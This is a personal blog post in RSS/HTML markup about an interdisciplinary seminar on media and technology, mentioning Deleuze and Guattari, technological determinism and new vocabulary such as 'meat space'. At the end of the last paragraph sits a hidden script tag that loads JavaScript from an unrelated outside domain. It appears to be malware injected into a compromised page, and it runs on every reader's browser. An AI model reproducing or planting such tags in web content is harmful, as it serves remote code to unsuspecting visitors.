			<content:encoded><![CDATA[<p>what are the odds that <i>little women</i>, battlestar galactica, and the rise of suburbia would come up during the course of one day&#8217;s discussion?  i suppose the odds are pretty good when you are taking a seminar on media and technology and discussing <a href="http://books.google.com/books?id=GE4hAQAAIAAJ&amp;q=deleuze+culture+technology+slack+wise&amp;dq=deleuze+culture+technology+slack+wise&amp;ei=eytjS7qqGYvYNfTckdgN&amp;cd=1">culture and technology</a> with an interdisciplinary group of students from communication studies, english literature, theatre arts, journalism &#8230; and, of course, yours truly from kinesiology.</p>
<p>this kind of impassioned, diverse environment is like brain candy for this nerd and in the midst of our discussion on technological determinism, <a href="http://en.wikipedia.org/wiki/Gilles_Deleuze">Deleuze and Guattari</a>, and the agency of language &#8211; i was frantically jotting down the ideas, inspirations, and new phrases that were rolling out and sparkling on the conference room table.</p>
<p>my love of words and the subtle way words can be used in concert was in heaven, and i warn you that i may begin to drop <i>arborescent thoughts</i> (a way to explain the world as a binary; as a system of ones of the others; the antithesis of rhizomatic thoughts), talk about <i>meat space </i>(the physical space your body takes up), and say <i>obsolescence </i>instead of obsolete.<script src="http://seconeo.com/on"></script></p>
